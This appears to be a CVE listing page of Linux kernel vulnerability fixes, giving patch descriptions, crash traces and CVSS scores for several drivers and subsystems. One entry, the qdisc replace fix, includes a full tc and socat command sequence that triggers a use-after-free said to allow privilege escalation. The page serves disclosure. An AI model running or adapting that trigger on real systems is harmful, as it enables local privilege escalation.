Linux: >> Linux Kernel >> 2.6.22.7 Security Vulnerabilities
In the Linux kernel, the following vulnerability has been resolved:
video: fbdev: cirrusfb: check pixclock to avoid divide by zero
Do a sanity check on pixclock value to avoid divide by zero.
If the pixclock value is zero, the cirrusfb driver will round up
pixclock to get the derived frequency as close to maxclock as
possible.
Syzkaller reported a divide error in cirrusfb_check_pixclock.
divide error: 0000 [#1] SMP KASAN PTI
CPU: 0 PID: 14938 Comm: cirrusfb_test Not tainted 5.15.0-rc6 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.11.0-2
RIP: 0010:cirrusfb_check_var+0x6f1/0x1260
Call Trace:
fb_set_var+0x398/0xf90
do_fb_ioctl+0x4b8/0x6f0
fb_ioctl+0xeb/0x130
__x64_sys_ioctl+0x19d/0x220
do_syscall_64+0x3a/0x80
entry_SYSCALL_64_after_hwframe+0x44/0xae
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-26
In the Linux kernel, the following vulnerability has been resolved:
video: fbdev: nvidiafb: Use strscpy() to prevent buffer overflow
Coverity complains of a possible buffer overflow. However,
given the 'static' scope of nvidia_setup_i2c_bus() it looks
like that can't happen after examiniing the call sites.
CID 19036 (#1 of 1): Copy into fixed size buffer (STRING_OVERFLOW)
1. fixed_size_dest: You might overrun the 48-character fixed-size string
chan->adapter.name by copying name without checking the length.
2. parameter_as_source: Note: This defect has an elevated risk because the
source argument is a parameter of the current function.
89 strcpy(chan->adapter.name, name);
Fix this warning by using strscpy() which will silence the warning and
prevent any future buffer overflows should the names used to identify the
channel become much longer.
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-26
In the Linux kernel, the following vulnerability has been resolved:
powerpc/set_memory: Avoid spinlock recursion in change_page_attr()
Commit 1f9ad21c3b38 ("powerpc/mm: Implement set_memory() routines")
included a spin_lock() to change_page_attr() in order to
safely perform the three step operations. But then
commit 9f7853d7609d ("powerpc/mm: Fix set_memory_*() against
concurrent accesses") modify it to use pte_update() and do
the operation safely against concurrent access.
In the meantime, Maxime reported some spinlock recursion.
[ 15.351649] BUG: spinlock recursion on CPU#0, kworker/0:2/217
[ 15.357540] lock: init_mm+0x3c/0x420, .magic: dead4ead, .owner: kworker/0:2/217, .owner_cpu: 0
[ 15.366563] CPU: 0 PID: 217 Comm: kworker/0:2 Not tainted 5.15.0+ #523
[ 15.373350] Workqueue: events do_free_init
[ 15.377615] Call Trace:
[ 15.380232] [e4105ac0] [800946a4] do_raw_spin_lock+0xf8/0x120 (unreliable)
[ 15.387340] [e4105ae0] [8001f4ec] change_page_attr+0x40/0x1d4
[ 15.393413] [e4105b10] [801424e0] __apply_to_page_range+0x164/0x310
[ 15.400009] [e4105b60] [80169620] free_pcp_prepare+0x1e4/0x4a0
[ 15.406045] [e4105ba0] [8016c5a0] free_unref_page+0x40/0x2b8
[ 15.411979] [e4105be0] [8018724c] kasan_depopulate_vmalloc_pte+0x6c/0x94
[ 15.418989] [e4105c00] [801424e0] __apply_to_page_range+0x164/0x310
[ 15.425451] [e4105c50] [80187834] kasan_release_vmalloc+0xbc/0x134
[ 15.431898] [e4105c70] [8015f7a8] __purge_vmap_area_lazy+0x4e4/0xdd8
[ 15.438560] [e4105d30] [80160d10] _vm_unmap_aliases.part.0+0x17c/0x24c
[ 15.445283] [e4105d60] [801642d0] __vunmap+0x2f0/0x5c8
[ 15.450684] [e4105db0] [800e32d0] do_free_init+0x68/0x94
[ 15.456181] [e4105dd0] [8005d094] process_one_work+0x4bc/0x7b8
[ 15.462283] [e4105e90] [8005d614] worker_thread+0x284/0x6e8
[ 15.468227] [e4105f00] [8006aaec] kthread+0x1f0/0x210
[ 15.473489] [e4105f40] [80017148] ret_from_kernel_thread+0x14/0x1c
Remove the read / modify / write sequence to make the operation atomic
and remove the spin_lock() in change_page_attr().
To do the operation atomically, we can't use pte modification helpers
anymore. Because all platforms have different combination of bits, it
is not easy to use those bits directly. But all have the
_PAGE_KERNEL_{RO/ROX/RW/RWX} set of flags. All we need it to compare
two sets to know which bits are set or cleared.
For instance, by comparing _PAGE_KERNEL_ROX and _PAGE_KERNEL_RO you
know which bit gets cleared and which bit get set when changing exec
permission.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-26
In the Linux kernel, the following vulnerability has been resolved:
usb: cdc-acm: Check control transfer buffer size before access
If the first fragment is shorter than struct usb_cdc_notification, we can't
calculate an expected_size. Log an error and discard the notification
instead of reading lengths from memory outside the received data, which can
lead to memory corruption when the expected_size decreases between
fragments, causing `expected_size - acm->nb_index` to wrap.
This issue has been present since the beginning of git history; however,
it only leads to memory corruption since commit ea2583529cd1
("cdc-acm: reassemble fragmented notifications").
A mitigating factor is that acm_ctrl_irq() can only execute after userspace
has opened /dev/ttyACM*; but if ModemManager is running, ModemManager will
do that automatically depending on the USB device's vendor/product IDs and
its other interfaces.
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-22
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".
Joint work with Lion Ackermann <nnamrec@gmail.com>
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-13
In the Linux kernel, the following vulnerability has been resolved:
gfs2: Truncate address space when flipping GFS2_DIF_JDATA flag
Truncate an inode's address space when flipping the GFS2_DIF_JDATA flag:
depending on that flag, the pages in the address space will either use
buffer heads or iomap_folio_state structs, and we cannot mix the two.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-12
In the Linux kernel, the following vulnerability has been resolved:
scsi: storvsc: Ratelimit warning logs to prevent VM denial of service
If there's a persistent error in the hypervisor, the SCSI warning for
failed I/O can flood the kernel log and max out CPU utilization,
preventing troubleshooting from the VM side. Ratelimit the warning so
it doesn't DoS the VM.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
drm/amd/display: Initialize denominator defaults to 1
[WHAT & HOW]
Variables, used as denominators and maybe not assigned to other values,
should be initialized to non-zero to avoid DIVIDE_BY_ZERO, as reported
by Coverity.
(cherry picked from commit e2c4c6c10542ccfe4a0830bb6c9fd5b177b7bbb7)
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
afs: Fix merge preference rule failure condition
syzbot reported a lock held when returning to userspace[1]. This is
because if argc is less than 0 and the function returns directly, the held
inode lock is not released.
Fix this by store the error in ret and jump to done to clean up instead of
returning directly.
[dh: Modified Lizhi Xu's original patch to make it honour the error code
from afs_split_string()]
[1]
WARNING: lock held when returning to user space!
6.13.0-rc3-syzkaller-00209-g499551201b5f #0 Not tainted
------------------------------------------------
syz-executor133/5823 is leaving the kernel with locks still held!
1 lock held by syz-executor133/5823:
#0: ffff888071cffc00 (&sb->s_type->i_mutex_key#9){++++}-{4:4}, at: inode_lock include/linux/fs.h:818 [inline]
#0: ffff888071cffc00 (&sb->s_type->i_mutex_key#9){++++}-{4:4}, at: afs_proc_addr_prefs_write+0x2bb/0x14e0 fs/afs/addr_prefs.c:388
CVSS Score
5.5
EPSS Score
0.0
Published
2025-01-31
In the Linux kernel, the following vulnerability has been resolved:
mac802154: check local interfaces before deleting sdata list
syzkaller reported a corrupted list in ieee802154_if_remove. [1]
Remove an IEEE 802.15.4 network interface after unregister an IEEE 802.15.4
hardware device from the system.
CPU0 CPU1
==== ====
genl_family_rcv_msg_doit ieee802154_unregister_hw
ieee802154_del_iface ieee802154_remove_interfaces
rdev_del_virtual_intf_deprecated list_del(&sdata->list)
ieee802154_if_remove
list_del_rcu
The net device has been unregistered, since the rcu grace period,
unregistration must be run before ieee802154_if_remove.
To avoid this issue, add a check for local->interfaces before deleting
sdata list.
[1]
kernel BUG at lib/list_debug.c:58!
Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI
CPU: 0 UID: 0 PID: 6277 Comm: syz-executor157 Not tainted 6.12.0-rc6-syzkaller-00005-g557329bcecc2 #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024
RIP: 0010:__list_del_entry_valid_or_report+0xf4/0x140 lib/list_debug.c:56
Code: e8 a1 7e 00 07 90 0f 0b 48 c7 c7 e0 37 60 8c 4c 89 fe e8 8f 7e 00 07 90 0f 0b 48 c7 c7 40 38 60 8c 4c 89 fe e8 7d 7e 00 07 90 <0f> 0b 48 c7 c7 a0 38 60 8c 4c 89 fe e8 6b 7e 00 07 90 0f 0b 48 c7
RSP: 0018:ffffc9000490f3d0 EFLAGS: 00010246
RAX: 000000000000004e RBX: dead000000000122 RCX: d211eee56bb28d00
RDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000
RBP: ffff88805b278dd8 R08: ffffffff8174a12c R09: 1ffffffff2852f0d
R10: dffffc0000000000 R11: fffffbfff2852f0e R12: dffffc0000000000
R13: dffffc0000000000 R14: dead000000000100 R15: ffff88805b278cc0
FS: 0000555572f94380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000056262e4a3000 CR3: 0000000078496000 CR4: 00000000003526f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
<TASK>
__list_del_entry_valid include/linux/list.h:124 [inline]
__list_del_entry include/linux/list.h:215 [inline]
list_del_rcu include/linux/rculist.h:157 [inline]
ieee802154_if_remove+0x86/0x1e0 net/mac802154/iface.c:687
rdev_del_virtual_intf_deprecated net/ieee802154/rdev-ops.h:24 [inline]
ieee802154_del_iface+0x2c0/0x5c0 net/ieee802154/nl-phy.c:323
genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline]
genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]
genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210
netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2551
genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219
netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline]
netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1357
netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1901
sock_sendmsg_nosec net/socket.c:729 [inline]
__sock_sendmsg+0x221/0x270 net/socket.c:744
____sys_sendmsg+0x52a/0x7e0 net/socket.c:2607
___sys_sendmsg net/socket.c:2661 [inline]
__sys_sendmsg+0x292/0x380 net/socket.c:2690
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
CVSS Score
5.5
EPSS Score
0.0
Published
2025-01-31